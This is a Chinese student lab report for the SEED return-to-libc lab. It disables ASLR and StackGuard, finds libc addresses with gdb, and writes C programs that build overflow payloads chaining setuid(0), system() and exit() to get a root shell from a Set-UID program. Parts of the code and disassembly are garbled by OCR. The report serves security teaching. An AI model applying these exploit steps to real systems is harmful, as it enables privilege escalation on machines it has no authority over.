实验报告



Return-to-libc Attack Lab

课程名称		软件安全
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Pre-Task Turning Off Countermeasures

关闭地址空间随机化。

```
sudo sysctl -w kernel.randomize_va_space=0
禁止 StackGuard 进行编译
gcc -fno-stack-protector example.c
execstack 编译
```

```
gcc -z execstack -o test test.c
```

Ubuntu 16.04 防止运行在 Set-UID 程序中,因此将/bin/sh 链接到zsh

```
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
```

Task 1: Finding out the addresses of libc functions

用 GDB 找出 system()及 exit()的地址

0xb7e42da0; // system() 0xb7e369d0; // exit()。

```
touch badfile

gdb -q retlib

gdb-peda$ run

.....

gdb-peda$ p system

gdb-peda$ p exit

gdb-peda$ quit
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ touch badfile
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/2. Return-to-libc/retlib
Returned Properly
[Inferior 1 (process 3955) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task 2: Putting the shell string in the memory

将/bin/sh 添加到环境变量中,命名为 MYSHELL。

通过 getenv 查看其地址 0xbffffdd6,由于环境变量地址受文件名长度影响,所以新建文件与 retlib 文件名长度相同,直接使用结果地址。

```
export MYSHELL=/bin/sh
env | grep MYSHELL
```

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ export MYSHELL=/bin/sh [05/10/20]seed@VM:~/.../2. Return-to-libc$ env | grep MYSHELL MYSHELL=/bin/sh
```

```
#include <stdlib.h>
#include <stdio.h>

woid main() {

char* shell = getenv("MYSHELL");

if (shell)

printf("%x\n", (unsigned int)shell);

}
```

Task 3: Exploiting the buffer-overflow vulnerability

获取到需要的地址后,现在确定 exploit 中的 XYZ。

由传参可知, buffer 在栈上的位置为 ebp-0x14, 考虑到 push ebp, 可知返回地址为 buffer+24, 所以 system 的偏移为 24。

```
db-peda$ disas bof
Dump of assembler code for function bof:
0x080484bb <+0>: push ebp
    0x080484bc <+1>:
                                 mov
                                           ebp, esp
    0x080484be <+3>:
                                 sub
                                           esp,0x18
    0x080484c1 <+6>:
0x080484c4 <+9>:
                                          DWORD PTR [ebp+0x8]
0x28
                                 push
                                 push
    0x080484c6 <+11>:
0x080484c8 <+13>:
                                 push
lea
                                          0x1
                                           eax,[ebp-0x14]
    0x080484cb <+16>:
                                 push
                                          0x8048370 <fread@plt>
   0x080484cc <+17>:
0x080484d1 <+22>:
                                 call
                                 add
                                           esp,0x10
   0x080484d4 <+25>:
0x080484d9 <+30>:
0x080484da <+31>:
                                 mov
leave
End of assembler dump.
```

再依次将 exit(), "/bin/sh" 地址放到栈上即可。

```
#include <stdlib.h>
2
    #include <stdio.h>
3
    #include <string.h>
4
    int main(int argc, char **argv)
5
6
      char buf[40];
      FILE *badfile;
8
      badfile = fopen("./badfile", "w");
9
10
      memset (&buf, 0x90, 24);
11
      *(long *) &buf[32] = 0xbffffdd6 ; // "/bin/sh"
      *(long *) &buf[24] = 0xb7e42da0; // system()
12
      *(long *) &buf[28] = 0xb7e369d0; // exit()
13
14
      fwrite(buf, sizeof(buf), 1, badfile);
      fclose (badfile);
15
16
    }
```

```
gdb-peda$ c
Continuing.
[New process 4677]
process 4677 is executing new program: /bin/zsh5
Error in re-setting breakpoint 1: Function "bof" not defined.
[Inferior 2 (process 4677) exited normally]
Warning: not running or target is remote
gdb-peda$ quit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
# ...
```

Attack variation 1:不添加 exit()地址。将以下代码注释掉。

```
*(long *) &buf[28] = 0xb7e369d0 ; // exit()

[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
# exit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
# exit
Segmentation fault
[05/10/20]seed@VM:~/.../2. Return-to-libc$
```

可见,攻击依然可以实现,因为 system("/bin/sh") 仍然正常运行,但无法 exit 命令无法使/bin/sh 正常返回到 exit()地址处。

Attack variation 2:修改文件名为 newretlib,此时文件名长度导致了/bin/sh 的地址变化,使得攻击失败,此时要重新计算环境变量的地址。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gcc -fno-stack-protector -z noexecstack -o newretlib newretlib.c
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chown root newretlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chmod 4755 newretlib
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./newretlib
zsh:1: command not found: h
Segmentation fault
```

Task 4: Turning on address randomization

将地址随机化复原:

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

此时产生 segmentation fault。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo /sbin/sysctl -w kernel.randomize
va_space=2
kernel.randomize_va_space = 2
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
Segmentation fault
```

关闭 gdb 的禁用地址随机化后,查看所有地址,三者地址均与之前不同,所以攻击失效。

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75d7da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75cb9d0 <__GI_exit>
gdb-peda$ quit
[05/10/20]seed@VM:~/.../2. Return-to-libc$ env | grep MYSHELL
MYSHELL=/bin/sh
[05/10/20]seed@VM:~/.../2. Return-to-libc$ ./getenv
./getenv
bfc3edd6
```

Task 5: Defeat Shell's countermeasure

再次关闭地址随机,执行 retlib,由于 bash 的权限降低,发现没有获得 root 权限。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo ln -sf /bin/dash /bin/sh [05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo sysctl -w kernel.randomize_va_sp ace=0 kernel.randomize_va_space = 0 [05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib
```

此时考虑使用 setuid(0), 用 system 相同方法查找 setuid 地址 0xb7eb9170。

```
gdb-peda$ p setuid
$1 = {<text variable, no debug info>} 0xb7eb9170 <_setuid>
```

此时我们需要传入参数 0, 在 setuid 使用完毕后,应将 0 从栈上 pop 出,并承接返回地址到 system()。为了找到 pop ...; ret;的 code,我们使用 ROPgadget 工具。

这里选用 0x0804859b, 因此可以构建 badfile:

```
#include <stdlib.h>
    #include <stdio.h>
2
3
    #include <string.h>
4
    int main(int argc, char **argv)
5
6
      char buf[50];
7
      FILE *badfile;
9
      badfile = fopen("./badfile", "w");
      memset(&buf, 0x90, 24);
10
      *(long *) &buf[24] = 0xb7eb9170; // setuid()
11
      *(long *) &buf[28] = 0x0804859b; // pop; ret
12
      *(long *) &buf[32] = 0 ;
13
      *(long *) &buf[36] = 0xb7e42da0; // system()
14
      *(long *) &buf[40] = 0xb7e369d0; // exit()
16
      *(long *) &buf[44] = 0xbffffdd6 ; // "/bin/sh"
17
18
19
      fwrite(buf, sizeof(buf), 1, badfile);
20
      fclose(badfile);
21
    }
```

攻击成功。

```
[05/10/20]seed@VM:~/.../2. Return-to-libc$ gcc -fno-stack-protector -z noexecst ack -o retlib retlib.c [05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chown root retlib [05/10/20]seed@VM:~/.../2. Return-to-libc$ sudo chmod 4755 retlib [05/10/20]seed@VM:~/.../2. Return-to-libc$ [05/10/20]seed@VM:~/.../2. Return-to-libc$ ./retlib #
```